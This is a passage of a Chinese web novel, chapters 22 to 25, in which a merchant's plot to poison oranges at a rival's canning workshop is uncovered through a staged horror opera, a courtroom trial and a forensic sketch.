覃斡急着回寨子,最快的近路被占了就只能绕远路回去。临到壵寨发现壵寨也在往外修,寨子门口修建了一座临时的灰粉坊,有黑叶县的衙役、判了刑的罪犯和壵寨的壮年。 人们搅拌灰粉,倒入订好的木框里,再找平抹平,动作熟练又迅速。山里的路不好修,又没有现代那种大型工程车作业,所以只能将路在原有的基础上尽量扩宽一些,使其最窄处也能容纳一辆马车出入。 因为没有官路宽,修路的进展快到不可思议,壵寨附近的路已经可以正常行走了。 覃家的马车行驶在上面,车夫都倍感新奇,“老爷,这路修的好啊,走着比城里的石板路还舒坦。” 不用他说,覃斡坐在车里也能感觉到上了新路后,颠簸感几乎微乎其微。他掀开帘子迎着寒风注视脚下光滑平整的深灰色路面,喃喃道:“原来这就是赫山县的路是这样的,难怪……可惜了。”如果做出这番功绩的是曾知府该多好。 壵寨的大门大敞着,几乎每家每户的院子里都堆着竹编,女子小哥儿的机杼声很小,孩童替大人抱竹条的欢乐声盖过一切。 “阿爸,这捆竹条都压好了。” “娜亚,阿爸的好女儿,快去歇歇,后天阿爸去府城给你买香酥羽脍吃。” “太好了!我从达菲家吃了一块,可香了!” 女人小哥儿们在织布,偶尔出门和家人说说话,上山采采蘑菇。 男人和老人则是做着品类不一的竹编,但大多数都是一种可以套在罐子上的简易竹编。还有少部分精致的木制品,做起来较为缓慢,这是有人找韦凯专门定做的工艺品,价格不菲,可能一个月才有一单。 覃斡难以置信的看着寨子里的变化,有小孩见到生人进寨子,只是好奇的打量几眼,然后飞快的跑走了。 阿爸阿妈说很有可能有坏人进来,把小孩抓走关起来,就像前些日子才被找回来的娜亚她们那样。 “覃斡?你怎么回来了?”木槿寨的头人阿布冷着一张脸看他,不管是神情和语气都看不出一丝欢迎的意思。 之前覃斡回寨子可不是这样的待遇,头人们都用自己寨子里最好的食物和最真挚的热情招待覃斡。哪怕他不回来,覃家的管事们在壵寨里也是昂起脑袋和壵族人说话的。 覃斡到底是在外混了半辈子,又将覃家生意经营到如今这般规模,脑子转的比这些心口如一的同族人要快。虽然不知寨子里为什么变化这么大,但脸上是一如既往的慷慨和煦,“阿布,许久不见了。我听说寨子里丢失的孩子都找了回来,这可是大好事啊,我给孩子们带了些点心和衣服给他们。” 在他心里,这群人还是愚蠢好骗的,不管宋同知给他们灌了什么迷魂汤,只要他稍微补偿一点甜头,壵族人就会像狗一样对他摇尾乞怜。 从覃斡出了这座大山开始,这些人就不是他的族人,而是他圈养的牲口而已。 结果他等到的并不是阿布满脸感激与感动的话语,而是冷冰冰的一句“我们不需要你的东西,滚出壵寨!” 他们的对话已经吸引了许多大人的注意,众人纷纷放下手中的竹条,围堵住覃斡的马车。 “你竟然还有脸回来!” “滚出壵寨,这里不欢迎你!” “滚出去!” 覃斡满脸错愕的接受壵族人的怒骂,完全不知道事情为何发展到了这一步。 他这时候知道壵族人哄不回来已经晚了,因为他真的被愤怒不已的壵族人打出了寨子,连带他拿回来的几包果子和几包半新不旧的衣裳也被扔进了泥沟。 覃斡一身狼狈的在路上过了年,他带着一肚子的疑问先去了离壮寨最近的黑叶县,黑叶县中有走动的壵族人已经在他意料之内。 他猜测是宋同知说动了他们走出山寨,接触外界。但万万没想到,县城中竟然还有两家壵族人开的店铺? “达尼妹?你在县城开了布坊?”覃斡一副见了鬼的表情。 想到如果不是覃斡的蒙骗,自己阿爸也不会走上死路,达尼妹与母亲见到覃斡的反应甚至比壵寨里丢失了孩子的父母还要愤怒。 因为那些孩子还能回到自己阿爸阿妈身边,达伦却永远沉眠在了地下。 “和你有什么关系,离开我的铺子!” 达尼妹放下丈量布匹的尺子赶人,她阿妈更是直接抄起倚门用的门栓往覃斡身上敲。 覃斡身上被壵族人拳打脚踢的青紫还没消退,身上又挨了达尼妹阿妈几下棒槌。仓皇逃离布坊之后,他怒不可遏的吩咐随行的小厮,“去咱们家的布庄!” 覃家在黑叶县也有产业,可以说整个西梧府的布料生意都被覃、余两家把持在手里。只要他这边卡死,他保管让壵寨的人在西梧府卖不出去一匹布! “老爷,不行啊,这间布坊是在府衙都过了明路的。不光是这家布坊,还有其他几家壵族人开的店都有同知夫郎的手笔。”黑叶县覃家布庄的掌柜愁眉苦脸的说道。 他们一介商贩,老爷让他去和同知夫人斗法,那不是拿他开玩笑呢吗? 覃斡这才终于了然,原来宋同知不光是去壵寨检籍,竟还暗地里扶持壵寨人出来做生意! “姓宋的是什么意思?”覃家现在名声上吃了亏,赖以和余家叫板的壵锦又收不上来,覃斡回家同妻儿说了之后,一家子都跟着着急上火。 “爹,我们布庄里的织娘难道织不成壵锦?”小覃氏还在娘家没走,此时听见家里生意上出了问题,忙不迭的问道。 覃斡烦躁的拍了拍桌子,“你懂什么!达尼妹织去年年中才开始织出壵锦,她自己都还没有熟悉技法,我怎么可能让她去教布庄的织娘?” 他虽然是这样和女儿解释,可只有覃斡内心才知道自己真实的想法。他根本就将壵寨人当作是自己的所有物,外面布庄里的织娘可能有被人收买的风险,但远在壵寨的壵族人绝对会一心一意的给他干活。 如果不是宋亭舟去壵寨搞什么狗屁的检籍,他夫郎又多管闲事给这些壵族人开店,他们覃家的布就是整个西梧独一无二的! 覃斡的几个儿子也急,“爹,如今要怎么办?达尼妹织的壵锦我们拿到铺子里后已经接了四五家布庄的单子,现在他们都在催着要货,我们拿什么给人家?” 单子不多,可架不住他们卖的贵,而且有两家还是其他府城的布庄。他们早早收了定金,一直没有将货物送过去。便是双倍赔偿,他们覃家的名声也完了。同样的价格和货物,旁人定会更优先考虑余家。 覃斡睚眦欲裂,眼睛瞪得通红,他拼搏了这么些年,好不容易靠曾家和壵锦压了余家一头。如今得了个这样的结局,让他怎么能甘心! —— “覃斡从壵寨回来了?”孟晚在自己书房里写字,书房里坐着两盆炭火,但阴冷感还是如影随形,他写一会儿就要去烤烤火。 唐妗霜刚从外面回来禀告,没觉得孟晚的书房比外面暖和多少,拿了个小凳子坐在火盆旁边和他说话。 “不光壵寨,听说还去了达尼妹的铺子,被打出来了。”他话语里都是幸灾乐祸,显然也对壵寨的事知情。 “呵”孟晚也轻笑一声,“你信不信他还会把自己折腾得更惨?” 唐妗霜一愣,“东家的意思是?” 孟晚笔杆子不停,“好好盯着工坊……不对,是罐头坊。也不要盯得太死,给人家留些犯罪的机会。” 他这话就有些吓人了,唐妗霜不敢乱猜测,于是又多问了一句,“您是说覃家会对罐头坊下脏手?” 孟晚见唐妗霜没有理解透彻,干脆放下笔杆子,也坐到他旁边去烤火,“一个普通的商贾若是遇上官家插手,可能会害怕,可能会退缩。但覃家显然是在梧州窝着当惯了地头蛇,没见过什么世面罢了,曾知府之前任同知的时候,年岁较大,其他官员都愿意给他几分薄面,这更给了覃斡一种微妙的错觉。从小覃氏的作风便不难看出,覃家是自负的,自负到他们甘愿自己蒙蔽自己的双眼。” 他反问唐妗霜,“如果你在西梧府,顶头最大的官员是你家的亲家,当地商贾低迷,几乎被你一手垄断。这时候突然横空出现一家铺子,身后站着的官员比你家低了一阶,又是个流传中,只知道铺摊子,根本不懂如何经商的人,坏了你的买卖,你会怎么做?” 唐妗霜仔细的琢磨了一会儿,认真的顺着孟晚的话说:“宋大人官阶哪怕比曾大人低,但也是官,直接对着干是不可能的。但若是退缩会不会给亲家丢人?或是影响自家名声?”他这样问孟晚就已经表示他想退了。 这是正常人的想法,但覃家明显不在此行列。 孟晚在火盆边上烤了两个橘子,“覃家若是能想到曾家还好,曾知府也会劝阻他。就只怕他为了面子,做些腌臜事出来,还得意洋洋的去找曾知府邀功。” 唐妗霜不解,“那我们要去找曾知府吗?提前让曾知府管束覃家呢?” “不。”孟晚用火钳给橘子翻了个面,一股带着焦糖般香甜的滋味迸发。 “为什么要阻止?这件事对我们只有百利,而无一害。我只嫌他胆子不够大,还要再添两把火才是。” 唐妗霜目光投在橘子周围红彤彤的炭火上,“火?” 孟晚把书桌上刚写完的稿子递给唐妗霜,“拿出去,找个远近闻名的戏班子,让班主编一出好戏来。” 第23章 《变婆惊魂夜》 《变婆惊魂夜》不同于当下最火热人最爱看的感情戏码,开扬就是惊悚恐怖的背景音乐。 主人公达尼妹是山寨里的普通小孩,她在寨子里和妹妹无忧无虑的玩耍。家里人要出远门,交代她们看见陌生人一定不要给它开门,山里会有变婆冒充老奶奶,把小孩骗到山上吃掉。 姐妹俩答应好父母,可很快就将这件事抛到脑后。过了一会儿,外面走来一个自称覃郎的年轻男人,他背着大大的竹篓,轻敲达尼妹家的院门。 “细妹仔们,开下门喂,我想入去,饮啖水啊~” “细妹仔们,唔使惊啊,饮完水我,就会走嘅~” 达尼妹姐妹俩听到覃郎的话,顺着门缝悄悄的看,发现男人和父母说的变婆并不相似,便打开了院门放他进来。 达尼妹的妹妹好心给覃郎舀了一瓢水,却不小心打翻了水瓢,水瓢里的水泼了覃郎一身,包括他身后大大的竹篓,竹篓底下滴滴答答的渗出红色的水来。 达尼妹问:“喂!竹篓脚点解渗出咁红嘅水啊~你哋睇到冇?”(竹篓底下怎么渗出红的水啊~你们看到没有?) 扮演覃郎的伶人刚开始有些慌张,后来声调从清朗骤降八度,“嗰块红布系我买嘅啊~畀水淋亲就会甩色架~” 唱完之后,整个戏台的光调暗下来,覃郎眼神逐渐阴冷。 达尼妹见势不对,忙拉着妹妹跑出去,说是出去捡柴火做饭给他吃。覃郎于是背着滴滴答答还在滴着洪水的竹篓,站在门口盯着姐妹俩。 达尼妹带妹妹捡完了柴火,果然回来烧火做饭。她们在覃郎的注视下做好了饭,还拿出了阿爸自己酿的糯米烧来给他喝。覃郎吃饭的时候都没把竹篓卸下,喝了糯米烧晕晕乎乎的就睡着了。 达尼妹急忙想拉着妹妹跑远,但妹妹实在好奇覃郎的背篓里有什么,便挣脱姐姐掀开竹篓——结果里面竟然是传说中的变婆! 变婆长着苍老的、布满皱纹的脸。她红着眼睛,长长的毛发覆盖全身,妹妹掀开竹篓后便被她掐住脖子。 这时覃郎也醒了,他把妹妹也装进竹篓里,背在后背上,竹篓里又开始滴滴嗒嗒的滴着红色的水。 达尼妹见覃郎醒来,只好放弃救助妹妹,独自逃跑。可平时热闹的山寨,这会儿竟然一个人也没有。家家户户门口都摆着一个大大的竹篓,竹篓里渗出来的红水,将所有人门前的土地都染得鲜红。 达尼妹用长长的竹竿挑起其中一个竹篓的盖子,里面立即爬出一只浑身长着毛发的变婆。 山寨里的人都变成变婆,达尼妹只能跑到山寨外面去,那是她从来没有踏足过的领域。可出去后他发现,覃郎竟然是布庄的老板! 布庄的伙计从山寨里拉出一筐筐的红布,卖给城镇里来买的人。达尼妹摸着布庄里卖的鲜红似血的布,其中一块上,竟然绣着她活灵活现的妹妹…… 这出戏没有传统戏曲的感情一波三折,但故事情节跌宕起伏,把观众牢牢卷入这出令人着迷的恐怖世界。出了勾栏,见了日光,满身的鸡皮疙瘩才消退下去。 戏曲实在太过传神和新奇,大大的刺激人的感官。才唱了三天,便凭着独特的戏本和戏子们精湛演绎而火遍全城。 只要谁家勾栏里当日排到这出《变婆惊魂夜》便一定座无虚席,扬扬爆满。 看过戏的四处奔走相告,街头巷尾全在热议,已经是成为当下最火热的戏曲了。 有人议论,就有人脑洞大开的推测。怎么那么巧,戏曲里面害人的覃郎是开布庄的,他们城里的覃员外不也是开布庄的吗? 有人早年认识覃斡,还知道他是壵寨里出来的人。大家不至于被一出戏带跑偏,也不见得是抱着恶意的,但这么多巧合凑在一起,免不了多议论几句。 覃家人险些气疯了,他家和壵寨那点破事还没掰扯明白,竟然叫人用这种方式羞辱了。 小覃氏最是藏不住性子的人,当天就派人砸烂了两家戏台,他们这边砸,孟晚那边就让人去重建。从年初曾老太太的寿宴起,是个人都能看出曾、宋、覃三家的矛盾。 覃家自壵族人脱离掌控后哪儿哪儿不顺,而城外孟晚的珍罐坊却经营的如火如荼。年后的这些日子坊里已经攒了一批成品罐头,放在位置最阴凉通风的仓库里。经过蒸煮和高温消毒,哪怕不用添加剂,这些橘子罐头也能放上半年到一年。 孟晚从糖坊盈利后便已经开始结识众多糖商,如今也算得上人脉广阔,别的不说,先前生产出去的罐头还是能找到销路卖出去的,但他就是没卖。 不光不卖,年礼还到处送,小覃氏的那份罐头有一半就被拿回了娘家。其余贵夫人也总算搞清楚了孟晚的工坊究竟是做什么的。 “乖乖,这容器怎么比最上好的玉石还清透?” “这你就不知道了吧,这就琉璃,只有盛京城才有的稀罕物件。” “真有那么名贵孟夫郎用它做容器,盛放吃食?” “人家要是不做咱们还见识不到呢!别说,这橘子罐头甜而不腻,我婆母极爱。” “谁不是,我家小的吃完了家里这几瓶,这几日还找我要呢。” “听说能放六月之久,哪天问问孟夫郎卖不卖,我给家里爹娘送回去两车。” “就是,这珍罐坊也建了这么久了,怎么还没售卖呢?莫不是专供京城?” 孟晚年礼送罐头的本意本来不是为了宣传,没想到也阴差阳错的打出了宣传的效果。 城郊——西梧珍罐坊。 西梧珍罐坊这块巨大的木头招牌,哪怕是在漆黑的夜里也能轻易看出厚重的轮廓。 工坊门口守着两个值夜的工人在门房里喝茶聊天,时不时眼神扫向紧闭的大门。他们对工坊极具归属感,以作为工坊工人而骄傲。 “唐管事说明晚开始,工坊就暂时不用守夜了。” “不守夜其实也没事,咱们一群身强体壮的男工在里面,怕什么?谁敢来?” “还是稳妥些好,外面有好多人说东家的坏话,保不齐就有心黑手脏的下黑手。” “小余你还真是,懂得比我们这些年长的还多。” 叫小余的年轻些的工人挠挠头,对同伴说道:“也没有,都是我爹在家和我说的。赵哥,你先休息,我去工坊里头转一圈。” 赵哥叮嘱道:“里面黑,你记得拿灯笼,下趟换我去。” 工坊每晚都安排人巡逻,从前都是五六个轮班,年后就变成两人了,明天开始更是不用一人守夜。 今晚小余和赵哥已经巡视过两趟,本来以为这趟也就是随便溜达溜达,没成想真看见一道鬼鬼祟祟的身影溜进库房里。 他提着灯笼的手晃了晃,下一瞬间立即反应迅速的追了上去。可他脚步才刚刚迈出去,下一秒就被一双纤细的手拉住,“嘘,小点声。” 小余挣扎的力道放松,难以置信的道:“唐管事?” 唐妗霜将他带进黑暗处,用气音回答,“是我。” 小余快速指向仓库的方向,正要大声说些什么,就一把被唐妗霜捂住了嘴巴。 “傻小子,不是跟你说了要小声?” 唇上是冰凉细腻的触感,小余长这么大也没挨过异性这么近,他羞的面红耳赤,连脖子都红了一片。 唐妗霜的手掌松开后,他缓了会儿才磕磕巴巴的说:“唐……唐管事,我……我看到有人……” 唐妗霜的眼睛紧盯着仓库的大门,似乎嘀咕了一句,“竟然来的这么早?” 回头随意敷衍了小余一句,“好了,我知道了,你回去睡吧,今晚的事就当没看见。” 小余一步三回头的回去,过了会儿房顶上传来雪生一声低笑,“他撞了两次柱子。” 唐妗霜的心思都在仓库那人身上,哪管什么柱子不柱子的,“咱们什么时候进去拿人?” 雪生估摸了一会儿时间,“再等等吧。” 唐妗霜眉头轻蹙,“可惜了我们的罐头。” 雪生平凡的眉眼间是极其冷淡的神色,“夫郎说舍不着孩子套不着狼,我们的损失,覃家要十倍奉还。” 两人都不是话多的人,交谈了几句后便开始沉默的等待,直到仓库门口再次传来声响。 雪生直接从房顶飞身过去拿人,而唐妗霜开始扯开嗓子大喊,“来人啊!工坊进贼了!!!” 小余回去后本来就心神不宁,听见呼声后立即便叫上几个青壮年跑到仓库。雪生将人逮住,工坊的人将人围了起来,仓库前面顿时火光通明。 第二天一早,孟晚裹着被子从床上坐起来,宋亭舟打拳进屋顺手把在火炉附近搭晾的衣物递给他,“怎么起的这么早?” 到岭南之后,除非是有事要忙,孟晚向来是睡到自然醒。 “太冷了,被窝里也不暖和,又潮又冷,还不如起来吃些热饭。”孟晚眼睛半睁不睁。 西梧也就冷这么一个多月,但着实难捱,冷风无孔不入,穿多厚都能被寒气打透。他体质不如宋亭舟,夏天怕热冬天又怕冷,缩成一团格外惹人怜惜。 宋亭舟俯下身抬着他下巴亲了一阵,一件件的把衣裳帮他穿上。 孟晚用温水洗漱后缓过了劲儿,推开房门的瞬间斜雨打湿了他的衣摆,“怪不得这么冷,原来又下雨了,连个声儿都没有。” 宋亭舟站在他身后替他打伞,“我刚才出去打拳的时候还没下,估计是刚下的。” 两人牵着手去常金花屋里吃饭。 “阿爹抱!”阿砚正站在门内看雨,这小子有点文艺细胞,平常最爱看雨玩,看见孟晚过来又黏黏糊糊的要抱。 孟晚抱着小圆胖子进屋,楚辞已经在里面等着了,黄叶见人齐了便喊人摆饭。 宋家早饭吃的说简单简单,说不简单是因为分量多。过完年后楚辞身量渐长,个头已经快超过孟晚了。半大小子吃穷老子,饭量虽然没有宋亭舟那么夸张,但也比普通成人多。 黄叶端了一大盆白菜木耳猪肉包上来,不说别人,孟晚吃了两个比拳头大的包子,半碗米粥和一个煮鸡蛋。 正要伸筷子再夹包子,只见其余人都拿着筷子木愣愣的看着他。 “怎么了?都看我干嘛?吃饭啊!” 孟晚一脸莫名其妙。 常金花把口中的食物咽进去,“晚哥儿,你近日是不是胖了?” 孟晚摸了摸自己下巴,扭头看身边的宋亭舟,“我胖了?” 宋亭舟见他唇红齿白,眉目精致如画,只觉得哪儿哪儿都喜欢,每一寸都长在他的审美上,并没看出胖瘦出来。 “没胖。” “夫君说我没胖,娘,再递我个包子。” 孟晚吃饱喝足,送宋亭舟去上衙,全当是饭后活动。这是自上次宋亭舟要求他接自己下衙后的新项目,孟晚有空闲了就来。 “夫郎,有人昨晚到珍罐坊下毒,刚巧被巡逻的工人抓住了!”唐妗霜带着浩浩荡荡的人堵在府衙门口。 孟晚神情颇为意外的看了被抓那人一眼,随后只酝酿一秒,便义愤填膺的喝道:“珍罐坊的东西都是入口给人食用的,是谁心思这般恶毒!” 雪生抓住那人,将她披散的头发撩开,竟是一张还算熟悉的面孔——是陈照磨的姐姐。 还没走进衙门的宋亭舟沉下脸,“带进去。” 门口的衙役从雪生手里接过人,珍罐坊的几名工人做为证人都随衙役们进了衙门。 孟晚坠在后面和唐妗霜说话,“本来以为要过些日子,没想到这么沉不住气?” 唐妗霜小声说道:“坊里的小工差点撞见将人给逮到,幸好我和雪生这些天都在坊里守着。” 孟晚对这个结果没有太多疑问,像是早就料到了,“这只是个马前卒罢了,好戏还在后头。” 陈照磨的姐姐叫陈秀,她对自己下毒的事供认不讳,非常痛快。 当然了,就算她否认也没用,毕竟是当扬抓获的。 第24章 背主 陈秀浑身瘫软的跪在地上,她毕竟只是一介普通妇人,天然畏惧衙门,这会儿犯事被抓,脑子里一片空白,“民……民妇在。” 曾知府拍响了惊堂木,“你说你因为和……珍罐坊东家孟氏有嫌隙,所以才到珍罐坊下毒。但你并非珍罐坊工人,又是怎么混进去作案的?” 这次庭审是公开审理,衙门外聚集了众多看热闹的百姓。陈秀心中慌乱不已,下意识看向门外的人群中的弟弟,“民妇……是贿……贿赂了人,白……白日带我入了珍罐坊,夜里再出来下毒的。” “贿赂?”曾知府苍老的脸上闪过丝疑惑,“你贿赂了谁?” 陈秀目光扫过面无表情的宋亭舟,和好整以暇、作为原告的孟晚,咬着牙说:“是宋大人家的小厮秋色。” 宋亭舟的面色没有任何变化,孟晚倒是有些吃惊的样子,“是秋色带你入得珍罐坊?” 珍罐坊白日来往的人繁多,秋色又是孟晚身边的小厮,有时会送些东西进坊,确实有可能带人混进去。 曾知府脸上的褶子抖动了两下,不动声色的看了宋亭舟一眼。 宋亭舟冲他拱手,“大人只管拿人回来审问便是。” 曾知府这才下令去宋家拿人,衙役们动作很快,秋色很快被他们押入公堂。 他一眼看见跪在地上的陈秀,显然已经猜到了事情暴露。大冷的天,他额角的冷汗却一层层的不断渗出。 “小人秋色,见过知府大人。” 曾知府厉声询问:“昨晚陈氏偷入珍罐坊下毒,可否是你偷偷带她入坊?” 秋色一惊,满脸的骇然不似作伪,他跪在地上急忙替自己辩解,“大人明鉴,小人确实一时糊涂收了陈氏的银两,但对她下毒之事是绝不知情啊!” 他转身又对一旁的孟晚拼命磕头,“夫郎,是小的错了,小人不该贪财,但小的真不知道陈氏……” “秋色。”孟晚冷眼看他额头处渗出的血丝,“你是个聪明人,我早知道你喜欢占些小便宜,但没想到你会吃里扒外,联合外人对付我。” 背主的罪名远比他勾结陈氏下毒还要不可饶恕,秋色在公堂上已经顾不得其他,他知道宋家真正管家的人是谁,也了解孟晚的脾气性格。对待自家下人他向来宽厚,可若是谁惹了他,也断不会留情。 “夫郎,求您饶了我一次,小的保证再也不敢了。您就是把我赶去倒夜香也好,夫郎,求您饶了我!”秋色跪在孟晚面前苦苦哀求。 宋亭舟眼见他纠缠孟晚,沉声喝了句,“肃静!” 秋色伸出的手落了下去,他低垂着头,语气哀怨,“夫郎,我只是不服,我比不上雪生得用就算了,凭什么黄叶一个年岁小的小哥儿也比我受你看重!” 孟晚懒得和他纠缠,“就你眼下这副姿态还想和雪生黄叶比?”雪生与他家而言根本不是仆人,早在到了赫山后宋亭舟就给他办了良籍。黄叶一颗心铺在孟晚身上,给他放出去他都不肯。 而秋色呢?早先在赫山的时候还算老实,来西梧之后心思是越来越活泛了。 孟晚将这些都看在眼里,他从不要求所有人都忠心于他,因为基本不可能。 水至清则无鱼,人越多,便越会有私心,连府宅里的厨房采买都会贪上几文钱,这是无可厚非的事。但联合外人给他挖坑的,就实在没有必要多留了。 案子清晰明了,陈秀和秋叶也对自己所犯之事供认不讳。曾知府惊堂木一拍就想将案子劫了,再把犯人也入牢中。 宋亭舟却突然建议道:“大人,此案还有诸多疑点,不若先将犯人扣押起来,择日再审?” 曾知府到嘴边的决策立即吞咽了下去,他捋了捋花白的胡子,故作沉思,“也好,来人,先将陈氏和罪奴秋色关进牢房,择日再审!” —— 覃斡在自家厅堂内来回踱步,外头有仆人小跑着进来,“老爷,案子审完了!” “怎么说?”覃斡忙问小厮。 小厮答:“本来知府大人都要定罪了,但宋同知说案子还有疑点,说是要择日再审。” 覃斡冷哼一声,“真是烂泥扶不上墙,堂堂一届知府,竟然万事都听下官摆布。” 覃斡大儿子担忧道:“爹,不会出什么意外吧?” “会出什么意外?曾家不争气,咱们家只能自己谋划,如今宋亭舟还没坐上知府的位置便开始针对我们覃家,若是等曾知府致仕,我们还有活路?” 从壵寨回来后,覃斡心中便一直忍着一团怒火。从勾栏戏子口中听到旁人对自己的诋毁后,这团火气越滚越大,早已成汹汹之势,不可扑灭。 “总归陈氏已经被抓,结案已是早晚的事,便继续按照先前的谋划行事。”覃斡的眸子里全是阴郁和狠厉,“闹就要将事情闹大,我就不信死上几十上百人,姓孟的还能全身而退?甚至到时候连宋同知都会被牵连。只要宋家下台,曾知府就最少还能在任上两年!” 而两年,足够改变很多事。 与此同时的府衙女牢,陈秀的子女挎着篮筐,带着吃食去看母亲。 远远守在外面的狱卒还能听见她女儿对她的控诉。 “这些年你一心为了舅舅,宁愿让我和哥哥饿着,也要把家里的粮食先紧着舅舅吃。” “可我们才是你的孩子啊!” “嫂嫂生孩子,连她娘家给她拿的鸡你都要拎去给舅舅家的孩子。” “这些我和哥哥都忍了,可如今可是你自己的命啊!你难道连命也要为舅舅搭上吗?” “娘不会死的,你舅舅说……” “舅舅说,又是舅舅说,你知不知道你犯的事不光会死,还会连累家人!” “娘,就算我们求你,若是还念着些母子情分,饶了我们兄妹吧!妊哥儿他们还小啊!” “我……我……呜呜呜……” 女牢里哭作一片,许久之后兄妹俩才挎着空空的篮子离开牢房。唐妗霜在外候着,同他们说了两句话,而后兄妹俩满脸泪痕的各自回家。 第二天一早,沙坑县队七八辆马车组成的车队行驶到府城郊外的珍罐坊门口,里面是成箱成箱用橘子。 它们用木板拼接的木箱盛放,里面铺垫着干草,用来保证成熟的果子不会因为路上的颠簸而溃烂。 今天在行政区值班的是王管事,他负责查验这批刚运输过来的货物。他与车队领头心照不宣的对视了一眼,随后抬手放人进去。 在车队全都进入珍罐坊,工人刚要将这一批货物都搬运到分拣区时。工坊内部突然涌出大量衙役,将车队里的所有人,包括领头,还有工坊的王管事全都抓了起来。 “你们做什么抓我!” “我是珍罐坊的管事,你们抓错人了,我们东家可是同知夫郎!” “官老爷,小的什么都不知道,只是干活的。” 不管这群人说什么,衙役们只管将人一个不落全都抓获,连同一车车还没来得及卸车的橘子一起,全都运到了衙门。 青杏、楚辞和两个城中大夫对着那些橘子用各自的法子验试,最后得出了一个共同的结论,所有车辆上的橘子,全都含有剧毒,而且不是在外皮,而是内里果肉上。 其中楚辞是用毒的行家,他甚至分辨出来这批橘子中,最少掺混了十几种毒药,种种都能致人性命。 孟晚想到覃斡此人能将族人当牲口圈养,定是个丧心病狂的,却没想到竟真会这般无法无天。这些橘子若是做成罐头分销出去,不知会害死多少条人命。 他要是再心狠点,直接等人出了事再报案,不光覃斡一个,他全家一个也别想跑。但孟晚到底不是没有良知和底线的疯子,他干不来这么疯狂的事。 从开办珍罐坊开始,孟晚便预料这种下毒栽赃的事早晚会发生。与其陷入被动,还不如主动出击。 损失一批橘子和罐头,将覃家按死便罢了。再有歪心思的人投鼠忌器之下,也不敢枉害人命了。 验出橘子有毒,车队的领头人和王管事本来还咬死的口风瞬间变化。还没等上大刑,宋亭舟只是将相关律法一字一句的读给他们听,他们就已经将自己知道的事倒了个一干二净。 人在生死面前,什么家人兄弟和被利益熏灼的心,什么也没有性命重要。 “草民……草民收上来这批橘子全都是沙坑县的。但是……快到珍罐坊的时候,途中被人要求在路上停留三天。有……有三四十号人,挨个用银针往果肉里送毒……大人!草民当时是不知道那是毒药的!” 曾知府这时候已经隐隐觉得不对了,但宋亭舟就在一边旁听,他只能硬着头皮问下去:“是何人让你在中途停留,那些送毒的又都是谁。” 车队领头人有口难言,“大人,草民并不清楚那人是谁,只是拿钱办事。”那人出手就是一箱子的银锭,他赚十年也赚不上那么多,就算知道他们往橘子里送的不是什么好东西,也自欺欺人般装作不知。 “大人,草民也是如此啊!有人给草民家里送了一箱银子,家里婆娘不懂事,见钱眼开收下了,草民不得已才听从那人嘱咐,今日放任这批货物入坊啊!”王管事跪在地上捶胸顿足,悔不当初。 他同车队领头又是另一种情景,银子他确实喜欢,但他没胆子坑害珍罐坊。他在珍罐坊里的差事不知道多少人眼红,甚至还想让自家儿女进坊。 王管事本以为只是个想把货卖到珍罐坊的果商,谁知里头竟然下了毒,可真是害惨了他! 曾知府听他们说完,暗自松了口气,“这么说,你们从未在府城见过给你们送银两的这人?也不知他身在何处?” 车队领头和王管事万般无奈,可事实如此,只能点头称是。 “去宋家请本官夫郎前来。” 曾知府刚要将人押送入牢,一旁的宋亭舟突然插了这么一句。 堂上堂下所有人都不解其意,但衙役们只管按照上官的吩咐去请人。很快孟晚便带着笔墨纸砚入堂。 对曾知府躬身行礼后,孟晚被宋亭舟带到自己书案旁边,“坐这里,在书案上画方便些。” “我想着衙门办公的纸笔只是寻常,就将家里的给带来了。”孟晚抬头望着俯身看他的宋亭舟。 宋亭舟虚虚按着他的肩膀,不管姿态与眼神都是爱惜与呵护,“慢慢画。” “王喜、韦四,你二人上前来,将给你们送银两之人的样貌,仔细描绘一番。” 王、韦两人虽然不觉得仅凭描述便能找到那人,但官老爷吩咐,不得不上前详细描述。 尤其是王喜,做为珍罐坊唯一一个男管事,可见孟晚对他是有几分看重的,如今自家东家就坐在上头,怎能不心虚? 孟晚看也没看他一眼,只是根据两人的描述抬笔画画,约莫一炷香的时间过去。王、韦两人已经说得是口干舌燥,孟晚终于停了笔,他轻轻对着纸张吹了吹,拿起上方两角把画提起来对王、韦二人说:“你们说得大部分象征相同,应该是一个人,看看可是此人吗?” 二人抬头去看,只见画上的是一个四十来岁的男子,耷拉着一双三角眼睛,鼻梁宽阔,鼻头泛红。嘴唇偏厚,嘴巴两侧各有一痣,左边的大些,右边则小些。下巴则蓄着半长不短的胡须。 此画栩栩如生,甚至细节处比照铜镜还要真切。两人瞪大了眼睛,只看三秒便飞速确认。 “正是此人!” 不光是他们二人,连曾知府看着孟晚手中的画像都是满脸的不可思议,“此画像如此惟妙惟肖,宋大人,你夫郎竟有这般精湛的画技吗?” 宋亭舟轻咳了一声,“内子只是小技罢了,让曾大人见笑了。不过当今圣上,和朝堂中的诸位大臣,确实也曾夸赞过他。” 曾知府哑然,竟然不光是宋同知,连他夫郎都这般恐怖如斯吗! 第25章 升职 那人行事仔细,又对附近商队和珍罐坊的人都有所了解,就算不是西梧府当地人,也必定在西梧府居住过一段时间。只要是人就要吃喝拉撒,总会有人看见。 果不其然,只过了两日,捕快们就在黑叶县打听到了消息。画像上的那人名叫钱椿,是黑叶县一家布庄的掌柜,前些日子突然被解雇回乡,从那儿之后再也没人看见过他。 但两天的功夫,又是在全府城通缉的情况下,他又能跑得了多远? 又过五日,他便被人抓获在沙坑县的一个小村子里。 钱椿倒也算硬气,他无父无母,无儿无女,唯一有牵扯的就是花楼的有个相好。刑也用过了,板子也打过了,这人就是一口咬定是自己看不惯孟晚一个哥儿有此番成就,嫉妒之下才出此毒策。 衙门拿他没办法,只能关着。孟晚干脆叫唐妗霜将他那个相好找来,叫人给梳了了妇人鬓,换了身素净的粗布衣裳。肚子里塞了个不大不小的圆枕,衣裳一盖,刚刚凸出一点的弧度。 相好的收了钱,办事相当尽心尽力,柔嫩的双手往眼睛上一揉,红着双眸,哭喊着进了牢房。 “椿郎~你害我害的好苦啊~” 钱椿满目震惊的看着她鼓起一点的小腹,“你……你!” 相好的走后,当天夜里钱椿百般纠结痛苦。他是个没根的人,突然得知有个孩子,巨大的冲击力使他整个人都傻了。他先是难以置信和怀疑,之后就是石头做的心脏突然裂开了缝,抽出了嫩芽来。 第二天一早钱椿便对衙役叫嚷着,“我要翻供!我没下毒害人,是受人指使的!”虽说同样罪责难逃,好歹够不上死罪,还能看到儿子出生长大。 覃斡被抓的时候还在铺子里焦头烂额的对账,“年后的营收怎么比去年差这么多!” 